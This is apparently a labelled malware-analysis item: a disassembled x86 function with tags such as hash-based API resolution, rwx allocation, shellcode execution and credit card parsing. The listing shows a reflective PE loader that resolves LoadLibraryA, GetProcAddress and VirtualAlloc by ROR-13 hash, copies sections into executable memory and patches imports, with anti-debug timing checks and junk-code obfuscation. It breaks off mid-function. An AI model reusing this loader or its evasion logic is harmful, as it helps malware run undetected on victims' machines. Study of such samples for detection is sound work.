Function at 0x402960
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Identify system language via api
Parse credit card information
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f140
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
rdtscp
mov dword [ebp - 0x68], ecx
test edx, edx
jne 0x4029ad
cmp eax, 0x989680
ja 0x4029ad
rdtscp
mov dword [ebp - 0x68], ecx
push edx
push eax
push 0
push 0x989680
call fcn.0042ecc0
mov ebx, eax
jmp 0x4029b2
mov ebx, 0x77e23b1
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x1c], ebx
rdtscp
mov dword [ebp - 0x68], ecx
xor edx, edx
push edx
push 0x1e9a
push edx
push eax
call fcn.0042e810
push 0
push 0x5f
push edx
push eax
call fcn.0042ed30
add eax, 3
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x38], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x78], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x94], xmm0
movsd qword [ebp - 0xb8], xmm0
movsd xmm0, qword [0x43a4d8]
movsd qword [ebp - 0x48], xmm0
movsd qword [ebp - 0xa4], xmm0
movsd xmm0, qword [0x43a330]
movsd qword [ebp - 0x84], xmm0
movsd qword [ebp - 0xb0], xmm0
movsd xmm0, qword [0x43a500]
movsd qword [ebp - 0xc4], xmm0
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
call esi
mov esi, dword [ebp + 8]
mov edi, 0x5a4d
movsd xmm0, qword [0x43a358]
movsd qword [ebp - 0x40], xmm0
mov dword [ebp - 0x64], esi
movsd xmm0, qword [ebp - 0x48]
call fcn.00402820
movaps xmm1, xmm0
movsd qword [ebp - 0x60], xmm1
movsd xmm0, qword [ebp - 0x94]
call fcn.00402820
movsd xmm1, qword [ebp - 0x60]
addsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x84]
divsd xmm1, qword [ebp - 0x40]
movsd qword [ebp - 0x60], xmm1
movsd qword [ebp - 0x8c], xmm1
cmp word [esi], di
jne 0x40451f
mov ecx, dword [esi + 0x3c]
lea eax, [ecx - 0x40]
cmp eax, 0x3bf
ja 0x40451f
add ecx, esi
mov dword [ebp - 0x58], ecx
cmp dword [ecx], 0x4550
jne 0x40451f
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0xa8], 0
mov esi, dword [ebp - 0x54]
mov dword [ebp - 0x30], esi
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov edx, dword [ebp - 0x28]
cmp eax, edx
jl 0x403425
mov ecx, dword [ecx + 0xc]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ecx + 0x14]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x20], ecx
test ecx, ecx
je 0x403410
mov dword [ebp - 4], 0
wait
lea eax, [esi + 4]
cmp eax, edx
cmovle esi, edx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x54], esi
mov eax, dword [ecx + 0x28]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], eax
movzx eax, word [ecx + 0x24]
mov dword [ebp - 0x7c], eax
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xa8], ecx
inc eax
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404e7e
add esp, 4
wait
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x18]
jmp 0x402c52
mov eax, dword [ebp - 0x7c]
movzx edx, ax
mov dword [ebp - 0x18], edx
test ax, ax
je 0x402c9d
call fcn.00404530
mov ecx, eax
mov edx, dword [ebp - 0x2c]
mov al, byte [edx]
cmp al, 0x61
jb 0x402c78
cmp esi, dword [ebp - 0x28]
jl 0x402ceb
add ecx, 0xffffffe0
movzx eax, al
add ecx, eax
mov dword [ebp - 0xa8], ecx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x18]
add eax, 0xffff
mov dword [ebp - 0x18], eax
test ax, ax
jne 0x402c60
mov eax, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x6a4abc5b
jne 0x4032b3
cmp esi, edx
jle 0x402e57
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x24], ecx
mov eax, dword [ecx + 0x3c]
mov ecx, dword [eax + ecx + 0x78]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x80], ecx
mov eax, dword [ecx + 0x20]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x70], eax
mov eax, dword [ecx + 0x24]
mov ecx, dword [ebp - 0x24]
add eax, ecx
mov dword [ebp - 0x68], eax
mov eax, 3
mov dword [ebp - 0x7c], eax
jmp 0x402e60
movsd xmm0, qword [0x43a458]
movsd qword [ebp - 0x48], xmm0
movsd xmm1, qword [0x43a450]
movsd qword [ebp - 0x94], xmm1
movss xmm1, dword [0x43a558]
movss dword [ebp - 0x18], xmm1
movsd xmm1, qword [0x43a3e0]
movsd qword [ebp - 0xc4], xmm1
movsd xmm1, qword [0x43a588]
movsd qword [ebp - 0xb0], xmm1
cmp bl, 0xa
jl 0x402d45
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
movsd xmm0, qword [ebp - 0x48]
xor ecx, ecx
movzx eax, bl
cmp bl, 0xa
cmovl ecx, eax
cmp cl, 4
jl 0x402d59
pause
jmp 0x402d67
call dword [sym.imp.USER32.dll_GetCapture]
movsd xmm0, qword [ebp - 0x94]
cvttsd2si eax, xmm0
movss xmm2, dword [0x43a4e8]
movss xmm1, dword [ebp - 0x18]
cmp al, 0x3c
jle 0x402d9a
nop dword [eax]
movaps xmm0, xmm2
subss xmm0, xmm2
movaps xmm2, xmm0
subss xmm1, xmm2
subss xmm0, xmm1
cvttss2si eax, xmm0
cmp al, 0x3c
jg 0x402d80
cmp al, 2
jl 0x402dd6
mov cl, 0x35
call fcn.00401880
cvttsd2si ebx, xmm0
mov ecx, 0xffffffe9
call fcn.00401c10
mov ecx, eax
call fcn.0042f100
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
movsx eax, bl
imul eax, eax, 0xffffffe9
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm1
cvttss2si eax, xmm0
mov ecx, 0x3f
cmp al, 2
jl 0x402df8
nop
mov eax, ecx
cdq
push edx
push eax
call fcn.004018b0
add esp, 8
cvttss2si ecx, xmm0
mov al, cl
cmp cl, 2
jge 0x402de0
cmp al, 3
jl 0x402e41
movsd xmm0, qword [ebp - 0xc4]
call fcn.00401760
cvtss2sd xmm0, xmm0
movsd qword [ebp - 0xb8], xmm0
mov cl, 0x2d
call fcn.00401880
cvttsd2si eax, xmm0
movsx eax, al
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [ebp - 0xb8]
cvttsd2si ebx, xmm0
movsd xmm0, qword [ebp - 0x48]
jmp 0x402d35
movsd xmm0, qword [ebp - 0xb0]
cvttsd2si ebx, xmm0
movsd xmm0, qword [ebp - 0x48]
jmp 0x402d35
mov ecx, dword [ebp - 0x24]
nop word [eax + eax]
test ax, ax
je 0x4032b3
cmp esi, edx
jle 0x402e97
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
add eax, ecx
mov dword [ebp - 0x18], eax
xor edi, edi
mov ecx, eax
mov al, byte [ecx]
nop dword [eax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea ecx, [ecx + 1]
mov al, byte [ecx]
test al, al
jne 0x402e80
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x7c]
cmp edi, 0xec0e4e8e
je 0x402eb3
cmp edi, 0x7c0dfcaa
je 0x402eb3
cmp edi, 0x91afca54
jne 0x4031b1
cmp esi, edx
jle 0x403282
mov eax, dword [ebp - 0x68]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0x1c]
lea ecx, [eax + ecx*4]
add ecx, dword [ebp - 0x24]
cmp edi, 0xec0e4e8e
jne 0x402ee2
mov eax, dword [ecx]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
jmp 0x4031a6
cmp edi, 0x7c0dfcaa
jne 0x403071
mov dword [ebp - 4], 2
wait
lea eax, [esi + 4]
cmp eax, edx
cmovle esi, edx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x54], esi
mov eax, dword [ecx]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0xbc], eax
wait
mov dword [ebp - 4], 0xffffffff
jmp 0x4031a6
cmp edi, 0x91afca54
jne 0x4031a6
mov dword [ebp - 4], 4
wait
mov eax, dword [ecx]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0xc8], eax
wait
mov dword [ebp - 4], 0xffffffff
jmp 0x4031a6
mov eax, dword [ebp - 0x7c]
add eax, 0xffff
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x18], esi
cmp esi, edx
mov ecx, dword [ebp - 0x24]
jle 0x402e60
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x28]
nop dword [eax]
cmp eax, edx
jge 0x403272
mov eax, 0x78
xor edx, edx
cmp bl, 4
jne 0x4031f9
push edx
push eax
push edx
push eax
call fcn.0042e810
mov bl, al
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp al, 4
je 0x4031e4
movss xmm3, dword [0x43a540]
cmp bl, 4
jne 0x403255
mov ecx, 0x71
nop dword [eax + eax]
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
movaps xmm1, xmm3
divss xmm1, xmm0
cvtps2pd xmm1, xmm1
cvtps2pd xmm0, xmm3
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
movsx ecx, al
movd xmm2, ecx
cvtdq2pd xmm2, xmm2
addsd xmm2, xmm1
cvtpd2ps xmm3, xmm2
cvtps2pd xmm0, xmm3
subsd xmm2, xmm0
cvttsd2si ebx, xmm2
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 4
je 0x403210
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x28]
cmp eax, edx
mov eax, dword [ebp - 0x3c]
jg 0x4031d0
mov eax, dword [ebp - 0x7c]
jmp 0x402e57
add dword [ebp - 0x70], 4
add dword [ebp - 0x68], 2
mov eax, dword [ebp - 0x7c]
jmp 0x402e57
cmp bl, 0x18
jl 0x40329d
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov bl, 1
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
mov edx, dword [ebp - 0x28]
jmp 0x402eb3
call dword [sym.imp.GDI32.dll_GdiFlush]
mov bl, 0x7a
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
mov edx, dword [ebp - 0x28]
jmp 0x402eb3
cmp dword [ebp - 0x38], 0
je 0x403406
cmp dword [ebp - 0xbc], 0
je 0x403406
cmp dword [ebp - 0xc8], 0
je 0x403406
mov edi, esi
cmp esi, edx
jle 0x403410
lea ecx, [esi + esi]
movsd xmm1, qword [0x43a428]
movsd qword [ebp - 0x40], xmm1
movsd xmm2, qword [0x43a480]
movsd qword [ebp - 0x84], xmm2
movsd xmm0, qword [0x43a3f8]
movsd qword [ebp - 0x8c], xmm0
cmp ecx, edx
jge 0x403410
movsd qword [ebp - 0x94], xmm1
movsd qword [ebp - 0x48], xmm2
call dword [sym.imp.USER32.dll_GetOpenClipboardWindow]
movsd xmm0, qword [ebp - 0x94]
movsd xmm1, qword [ebp - 0x48]
divsd xmm1, xmm0
cvttsd2si eax, xmm1
movsx eax, al
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsd qword [ebp - 0x48], xmm1
subsd xmm0, xmm1
movsd qword [ebp - 0x94], xmm0
mulsd xmm0, xmm1
cvttsd2si ebx, xmm0
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 0x46
je 0x403326
movsd xmm1, qword [ebp - 0x8c]
movsd qword [ebp - 0x48], xmm1
cmp bl, 6
jge 0x4033d5
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movsd xmm2, qword [ebp - 0x48]
movaps xmm0, xmm2
subsd xmm0, xmm2
cvttsd2si eax, xmm0
movsx eax, al
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movaps xmm0, xmm1
subsd xmm0, xmm2
cvttsd2si ecx, xmm0
addsd xmm1, xmm2
movsd qword [ebp - 0x48], xmm1
cdq
idiv ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm0, xmm1
cvttsd2si ebx, xmm0
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 6
jl 0x403382
inc edi
mov edx, dword [ebp - 0x28]
cmp edi, edx
movsd xmm1, qword [ebp - 0x40]
movsd xmm2, qword [ebp - 0x84]
lea ecx, [esi + esi]
jg 0x403311
movsd xmm2, qword [0x43a420]
movsd qword [ebp - 0x94], xmm2
jmp 0x40352f
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
jmp 0x402b38
movsd xmm0, qword [0x43a420]
movsd qword [ebp - 0x94], xmm0
jmp 0x40352f
xorps xmm0, xmm0
movss dword [ebp - 0x68], xmm0
mov ecx, 0x18
call fcn.00401c10
mov ebx, eax
movss xmm0, dword [ebp - 0x68]
call fcn.0042edce
push edx
push eax
call fcn.004018b0
add esp, 8
movss dword [ebp - 0x68], xmm0
mov cl, bl
call fcn.00401880
cvttsd2si eax, xmm0
movsx ecx, al
movd xmm1, ebx
cvtdq2ps xmm1, xmm1
addss xmm1, dword [ebp - 0x68]
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
cvttss2si eax, xmm1
cmp al, 0x13
je 0x403432
mov eax, 0x18
nop dword [eax]
nop dword [eax + eax]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call fcn.00401760
cvttss2si eax, xmm0
cmp al, 0x66
jle 0x403490
call dword [sym.imp.USER32.dll_GetShellWindow]
movsd xmm1, qword [ebp - 0x40]
movaps xmm0, xmm1
mulsd xmm1, xmm0
movsd qword [ebp - 0x40], xmm1
cvttsd2si eax, xmm1
cmp al, 3
jge 0x4034a5
push 0
push 0
call fcn.004018b0
add esp, 8
movsd xmm3, qword [0x43a420]
movsd qword [ebp - 0x94], xmm3
movaps xmm1, xmm3
movsd xmm2, qword [0x43a3b8]
nop dword [eax + eax]
movaps xmm0, xmm1
subsd xmm0, xmm2
cvttsd2si eax, xmm0
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movaps xmm0, xmm2
divsd xmm0, xmm1
movaps xmm1, xmm0
movaps xmm0, xmm2
subsd xmm0, xmm1
cvttsd2si ebx, xmm0
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 0x15
jle 0x4034f0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
mov edi, 1
movsd xmm0, qword [ebp - 0xc4]
movsd xmm1, qword [0x43a348]
comisd xmm0, xmm1
jb 0x4035b1
movsd xmm2, qword [0x43a340]
movsd qword [ebp - 0x48], xmm2
movsd xmm0, qword [0x43a328]
movsd qword [ebp - 0x74], xmm0
subsd xmm1, xmm2
mulsd xmm1, qword [ebp - 0xb0]
addsd xmm1, qword [ebp - 0xb8]
movaps xmm0, xmm1
call fcn.00402820
mulsd xmm0, qword [ebp - 0x74]
movsd xmm1, qword [ebp - 0x60]
addsd xmm0, xmm1
movsd qword [ebp - 0x60], xmm0
inc edi
movd xmm0, edi
cvtdq2pd xmm1, xmm0
movsd xmm0, qword [ebp - 0xc4]
comisd xmm0, xmm1
movsd xmm2, qword [ebp - 0x48]
jae 0x403564
jmp 0x4035cb
movsd xmm0, qword [0x43a340]
movsd qword [ebp - 0x48], xmm0
movsd xmm0, qword [0x43a328]
movsd qword [ebp - 0x74], xmm0
mov edi, dword [ebp - 0x28]
cmp esi, edi
jle 0x403603
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x3c]
add edx, ecx
mov dword [ebp - 0x58], edx
mov eax, dword [edx + 0x54]
mov dword [ebp - 0x20], eax
mov eax, ecx
mov dword [ebp - 0x2c], eax
push 0x40
push 0x3000
push dword [edx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40365d
mov eax, dword [ebp - 0x98]
mov edi, dword [ebp - 0x2c]
sub eax, edi
mov dword [ebp - 0x3c], eax
movsd xmm0, qword [0x43a320]
movsd qword [ebp - 0x8c], xmm0
mov ebx, dword [ebp - 0x20]
mov esi, eax
nop dword [eax]
call fcn.00402820
mulsd xmm0, qword [ebp - 0x74]
addsd xmm0, qword [ebp - 0x60]
movsd qword [ebp - 0x60], xmm0
mov al, byte [edi]
mov byte [esi + edi], al
inc edi
sub ebx, 1
movsd xmm0, qword [ebp - 0x8c]
jne 0x403630
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x28]
mov ebx, 1
movsd xmm0, qword [0x43a348]
nop word [eax + eax]
mulsd xmm0, qword [ebp - 0xb0]
addsd xmm0, qword [ebp - 0xb8]
call fcn.00402820
mulsd xmm0, qword [0x43a318]
addsd xmm0, qword [ebp - 0x60]
movsd qword [ebp - 0x60], xmm0
inc ebx
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
movsd xmm1, qword [0x43a4f8]
comisd xmm1, xmm0
jae 0x403670
mov ebx, dword [ebp - 0x1c]
movsd xmm0, qword [ebp - 0xa4]
call fcn.00402820
movaps xmm1, xmm0
movsd qword [ebp - 0x60], xmm1
movsd xmm0, qword [ebp - 0xb8]
call fcn.00402820
movsd xmm3, qword [ebp - 0x60]
addsd xmm3, xmm0
mulsd xmm3, qword [ebp - 0xb0]
divsd xmm3, qword [0x43a360]
movsd qword [ebp - 0x60], xmm3
movsd qword [ebp - 0x8c], xmm3
mov edx, dword [ebp - 0x58]
movzx eax, word [edx + 0x14]
lea ecx, [edx + 0x18]
add ecx, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x50], ecx
movzx eax, word [edx + 6]
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x2c], edx
test eax, eax
je 0x4038f7
movsd xmm0, qword [0x43a410]
movsd qword [ebp - 0x9c], xmm0
movsd xmm1, qword [0x43a3a8]
movsd qword [ebp - 0xa4], xmm1
nop dword [eax]
dec eax
mov dword [ebp - 0x34], eax
cmp esi, edi
je 0x403790
mov eax, dword [ecx + 0xc]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ecx + 0x14]
add eax, dword [ebp - 0x64]
mov dword [ebp - 0x80], eax
mov edx, dword [ecx + 0x10]
test edx, edx
je 0x40377b
mov ebx, dword [ebp - 0x3c]
mov edi, eax
mov al, byte [edi]
mov byte [ebx], al
lea ebx, [ebx + 1]
lea edi, [edi + 1]
sub edx, 1
jne 0x403766
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x28]
dec edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x78], edx
add ecx, 0x28
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x50], ecx
jmp 0x4038ec
movaps xmm2, xmm0
movsd xmm3, qword [ebp - 0x94]
nop dword [eax + eax]
movaps xmm0, xmm2
subsd xmm0, xmm3
cvtsd2ss xmm0, xmm0
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
divsd xmm2, xmm1
movaps xmm0, xmm2
mulsd xmm0, xmm3
cvttsd2si eax, xmm0
movd xmm3, eax
cvtdq2pd xmm3, xmm3
divsd xmm1, xmm2
divsd xmm1, xmm3
cvttsd2si eax, xmm1
cmp al, 0x56
jle 0x4037a0
mov dword [ebp - 0x68], 0xc
mov ebx, 0x57
mov dword [ebp - 0x18], 0
cmp al, 0x59
jle 0x403861
mov esi, dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
movd xmm0, esi
cvtdq2pd xmm0, xmm0
call fcn.00401760
cvttss2si eax, xmm0
mov dword [ebp - 0x68], eax
cdq
mov esi, eax
mov edi, edx
push edi
push esi
call fcn.004018b0
add esp, 8
movss dword [ebp - 0x3c], xmm0
sub ebx, esi
mov eax, dword [ebp - 0x18]
sbb eax, edi
mov dword [ebp - 0x18], eax
mov edx, eax
mov ecx, ebx
call fcn.0042f100
cvtsd2ss xmm0, xmm0
movss xmm1, dword [ebp - 0x3c]
divss xmm1, xmm0
mov esi, dword [ebp - 0x68]
movd xmm0, esi
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
cmp al, 0x59
jg 0x4037f7
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x28]
movsd xmm1, qword [ebp - 0xa4]
movss xmm2, dword [0x43a544]
movaps xmm0, xmm1
divsd xmm0, xmm1
movaps xmm1, xmm0
movsd qword [ebp - 0x40], xmm1
cvtps2pd xmm0, xmm2
addsd xmm0, xmm1
cvtpd2ps xmm1, xmm0
movss dword [ebp - 0x18], xmm1
movaps xmm0, xmm1
addss xmm0, xmm1
call fcn.0042edce
movss xmm0, dword [ebp - 0x18]
cvtps2pd xmm0, xmm0
movsd xmm1, qword [ebp - 0x40]
divsd xmm1, xmm0
movsd qword [ebp - 0x84], xmm1
mov ecx, eax
call fcn.0042f100
movsd xmm1, qword [ebp - 0x84]
addsd xmm1, xmm0
cvttsd2si ebx, xmm1
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 0x3f
movsd xmm1, qword [ebp - 0x40]
movss xmm2, dword [ebp - 0x18]
je 0x403871
movsd xmm0, qword [ebp - 0x9c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x403740
movsd xmm0, qword [ebp - 0xc4]
movsd xmm1, qword [0x43a348]
comisd xmm0, xmm1
jb 0x403964
mov ebx, 1
subsd xmm1, qword [ebp - 0x48]
mulsd xmm1, qword [ebp - 0xb0]
addsd xmm1, qword [ebp - 0xb8]
movaps xmm0, xmm1
call fcn.00402820
mulsd xmm0, qword [ebp - 0x74]
movsd xmm1, qword [ebp - 0x60]
addsd xmm0, xmm1
movsd qword [ebp - 0x60], xmm0
movsd qword [ebp - 0x8c], xmm0
inc ebx
movd xmm0, ebx
cvtdq2pd xmm1, xmm0
movsd xmm0, qword [ebp - 0xc4]
comisd xmm0, xmm1
jae 0x403912
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x58]
sub eax, 0xffffff80
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], eax
mov edx, dword [eax]
mov ecx, dword [ebp - 0x24]
add edx, ecx
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x98], edx
movsd xmm1, qword [0x43a3c8]
movsd qword [ebp - 0x6c], xmm1
movsd xmm0, qword [0x43a4b0]
movsd qword [ebp - 0x48], xmm0
mov edx, dword [ebp - 0x20]
nop dword [eax]
mov edi, dword [ebp - 0x70]
cmp dword [edi + 0xc], 0
mov edi, dword [ebp - 0x28]
je 0x403d81
cmp dword [eax], 0
je 0x403d81
cmp esi, edi
jle 0x4039f6
lea eax, [esi + esi]
cmp eax, edi
jge 0x4039c6
jmp 0x4039c4
mov edx, dword [ebp - 0x70]
mov eax, dword [edx + 0xc]
add eax, ecx
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x64], eax
mov edx, dword [ebp - 0x70]
mov eax, dword [edx]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x78], eax
mov edx, dword [edx + 0x10]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x50], edx
movsd xmm1, qword [ebp - 0x6c]
jmp 0x403a00
mov eax, dword [ebp - 0x2c]
nop dword [eax]
cmp dword [edx], 0
je 0x403d09
test eax, eax
je 0x403a81
mov ecx, dword [eax]
test ecx, ecx
jns 0x403a81
lea eax, [esi + esi]
cmp eax, edi
jl 0x403a49
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x3c]
mov ebx, dword [ebp - 0x64]
mov eax, dword [eax + ebx + 0x78]
movzx ecx, cx
sub ecx, dword [eax + ebx + 0x10]
mov eax, dword [eax + ebx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, ebx
mov eax, dword [eax + ecx]
add eax, ecx
mov ebx, dword [ebp - 0x1c]
jmp 0x403aa7
cmp bl, 0x4e
jle 0x403a5e
call dword [sym.imp.USER32.dll_GetCursor]
mov ecx, 0x27
call fcn.00401c10
mov al, 0x7f
mov cl, al
call fcn.00401880
cvtsd2ss xmm0, xmm0
cvttss2si eax, xmm0
mov bl, al
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 0x7d
jg 0x403a60
mov edx, dword [ebp - 0x20]
jmp 0x403aa9
lea eax, [esi + esi]
cmp eax, edi
jl 0x403bc6
mov eax, dword [edx]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], eax
add eax, 2
push eax
push dword [ebp - 0x64]
call dword [ebp - 0xbc]
mov edx, dword [ebp - 0x20]
mov dword [edx], eax
mov dword [ebp - 4], 6
wait
lea eax, [esi + 4]
cmp eax, edi
cmovle esi, edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x54], esi
add edx, 4
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x403ad8
add eax, 4
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x78], eax
wait
mov dword [ebp - 4], 0xffffffff
movsd xmm1, qword [ebp - 0x6c]
jmp 0x403a00
cmp bl, 0x41
jne 0x403bd7
movaps xmm0, xmm1
call fcn.00401760
mov bl, 0x96
jmp 0x403be2
cmp bl, 0x4f
jg 0x403be0
mov bl, 0x96
jmp 0x403be2
xor bl, bl
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x1c], ebx
movsd xmm1, qword [ebp - 0x48]
mov dword [ebp - 0x3c], 0x6c
mov dword [ebp - 0x80], 0
movss xmm2, dword [0x43a574]
cmp bl, 0x36
je 0x403c81
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x80]
nop dword [eax]
nop word [eax + eax]
cvtps2pd xmm0, xmm2
subsd xmm1, xmm0
movsd qword [ebp - 0x94], xmm1
shld esi, edi, 1
add edi, edi
cvttss2si ecx, xmm2
call fcn.00401880
cvtsd2ss xmm0, xmm0
movss dword [ebp - 0x3c], xmm0
mov edx, esi
mov ecx, edi
call fcn.0042f100
mulsd xmm0, qword [ebp - 0x94]
movss xmm2, dword [ebp - 0x3c]
cvtps2pd xmm1, xmm2
divsd xmm0, xmm1
cvttsd2si ebx, xmm0
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 0x36
movsd xmm1, qword [ebp - 0x94]
jne 0x403c20
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x28]
movss xmm0, dword [0x43a570]
mov ecx, 0x58
cmp bl, 0x23
movsd xmm1, qword [ebp - 0x6c]
mov edx, dword [ebp - 0x20]
jge 0x403a81
movss xmm1, dword [0x43a558]
nop word [eax + eax]
mulss xmm0, xmm1
movss dword [ebp - 0x18], xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
call fcn.00401760
cvttss2si eax, xmm0
movsx eax, al
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, dword [ebp - 0x18]
cvttss2si ecx, xmm0
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
subss xmm0, xmm1
cvttss2si ebx, xmm0
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
cmp bl, 0x23
movss xmm0, dword [ebp - 0x18]
jl 0x403cb0
movsd xmm1, qword [ebp - 0x6c]
mov edx, dword [ebp - 0x20]
jmp 0x403a81
cmp esi, edi
je 0x403d27
mov eax, dword [ebp - 0x70]
add eax, 0x14
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
jmp 0x4039a0
cmp bl, 0x6f
jle 0x403d51
mov ecx, 0x4b
call fcn.00401c10
mov ecx, eax
call fcn.0042f100
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
movaps xmm0, xmm1
mulss xmm0, xmm1
mulss xmm0, xmm1
jmp 0x403d64
mov cl, 0x4b
call fcn.00401880
cvtsd2ss xmm0, xmm0
mulss xmm0, dword [0x43a580]
cvttss2si ebx, xmm0
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x11], bl
movsd xmm1, qword [ebp - 0x6c]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
jmp 0x4039a0
mov ebx, 1
movsd xmm1, qword [0x43a348]
nop
mulsd xmm1, qword [ebp - 0xb0]
addsd xmm1, qword [ebp - 0xb8]
